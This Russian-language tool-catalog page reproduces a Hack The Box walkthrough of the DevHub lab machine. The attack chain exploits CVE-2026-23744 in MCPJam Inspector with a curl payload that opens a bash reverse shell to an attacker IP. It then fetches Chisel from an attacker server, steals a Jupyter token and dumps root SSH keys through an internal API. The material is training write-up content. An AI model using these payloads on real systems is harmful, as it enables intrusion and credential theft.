Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DevHub-HTB-Walkthrough — Hack The Box — прохождение машины DevHub (Linux средней сложности, CVE-2026-23744, туннелирование через Chisel, Jupyter, повышение привилегий до root) | Kitploit
Инструменты/GitHubGitHub/timgad794/devhub-htb-walkthrough
Повышение привилегийРазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
timgad794/devhub-htb-walkthrough

DevHub-HTB-Walkthrough

Hack The Box — прохождение машины DevHub (Linux средней сложности, CVE-2026-23744, туннелирование через Chisel, Jupyter, повышение привилегий до root)

Репозиторий
1 месяц назадЕщё не проверено

DevHub – Прохождение HTB (Medium Linux)

Машина: DevHub
Сложность: Medium
ОС: Linux
Темы: CVE-2026-23744, Chisel-туннелирование, Jupyter, Flask API, повышение привилегий до root


📌 1. Разведка

root@kitploit:~
nmap -sC -sV devhub.htb

Результат:

root@kitploit:~
Порт 22 (SSH)

Порт 80 (HTTP)

Порт 6274 (MCPJam Inspector)

📌 2. Настройка файла hosts

echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Изучаем веб-сайт

root@kitploit:~
http://devhub.htb/ → Лендинг

http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (уязвим к CVE-2026-23744)

📌 4. Reverse Shell под пользователем mcp-dev

Терминал 1 – слушатель:

nc -lvnp 4444

Терминал 2 – Payload:

curl -X POST http://devhub.htb:6274/api/mcp/connect
-H "Content-Type: application/json"
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Шелл под mcp-dev

📌 5. Настройка Chisel-туннеля

HTTP-сервер (атакующий):

python3 -m http.server 8000 --bind 10.x.x.x

Скачиваем Chisel на цель (шелл mcp-dev):

cd /tmp wget http://10.x.x.x:8000/chisel chmod +x chisel

Chisel-сервер (атакующий):

./chisel server --reverse --port 9001

Chisel-клиент (шелл mcp-dev):

./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Доступ к Jupyter

Считываем токен (шелл mcp-dev):

ps aux | grep jupyter | grep -v grep

Токен: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Браузер: http://localhost:8888/?token=...

📌 7. Получаем root SSH-ключ (в Jupyter)

import requests, json

url = "http://127.0.0.1:5000/tools/call" headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"} payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload) print(json.dumps(response.json(), indent=2))

📌 8. Вход под root

nano root_key

Вставить ключ

chmod 600 root_key ssh -i root_key [email protected]

📌 9. Флаги

cat /root/root.txt cat /home/analyst/user.txt

Root-флаг:

08be4cfb68597d0f9edfccxxxxxxxxxx

Удачи! 🚀

Скачать инструмент